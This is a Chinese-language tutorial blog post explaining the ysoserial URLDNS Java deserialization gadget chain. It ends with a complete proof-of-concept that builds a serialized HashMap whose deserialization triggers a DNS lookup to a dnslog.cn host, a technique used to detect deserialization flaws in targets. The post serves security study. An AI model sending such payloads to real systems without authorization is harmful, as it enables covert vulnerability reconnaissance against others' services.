Java反序列化-URLDNS
知识点来自P牛《Java安全摘要》反序列化部分
# 前言
ysoserial项目的搭建和调试就不多说了,P牛写过一篇文章专门来说这个事情
主要说一下学的第一条反序列化的gadget:URLDNS,这条链多用于探测目标是否存在反序列化漏洞,因为它用了Java的内置类HashMap
,如果反序列化成功则会对设置的URL发起一次DNS查询请求,我们可以通过一些第三方网站(比如dnslog)来查看目标是否进行了反序列化
# URLDNS
环境配置
- jdk:1.8
- 无需第三方依赖
反序列化的点在Java内置类HashMap
中,我们直接看这个类的readObject
方法
调用了hash
方法,参数是key
,我们跟进该方法查看
调用了key
的hashCode
方法,hashCode
方法是Object
的一个方法,也就是说其子类可以重写该方法,我们再来看另外一个类URL
的hashCode
方法
handler
的类型是URLStreamHandler
,我们再跟进该类的hashCode
方法
这里调用了getHostAddress
方法,参数就是一个URL,我们再跟进该方法
getByName
在API中的描述如下
对应到网络请求中,就是一次DNS请求
经过以上的分析,gadget的构造方式已经很明确了:
exp的编写:
package ysoserial.MyExp.CCExp;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
String url = "http://t7e37h.dnslog.cn";
URL url1 = new URL(url);
Class<URL> urlClass = URL.class;
// hashCode的修饰符为private,需要使用反射来修改
Field hashCode = urlClass.getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url1, 123);
hashMap.put(url1, "value");
// 反射修改hashCode为-1
hashCode.set(url1, -1);
// 本地测试
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
objectOutputStream.close();
System.out.println(byteArrayOutputStream);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
# 注意点
# 1.为什么要修改hashCode的值为-1
我们回到URL
类的hashCode
方法中来
可以看到,如果hashCode
不等于-1,则会直接返回该值,就不会执行下面的代码了
# 2.为什么要先put再修改hashCode
跟进hashMap
的put
方法
可以看到,这里会进行一次hash
方法的调用,如果先修改hashCode
的值为-1,则会多触发一次DNS查询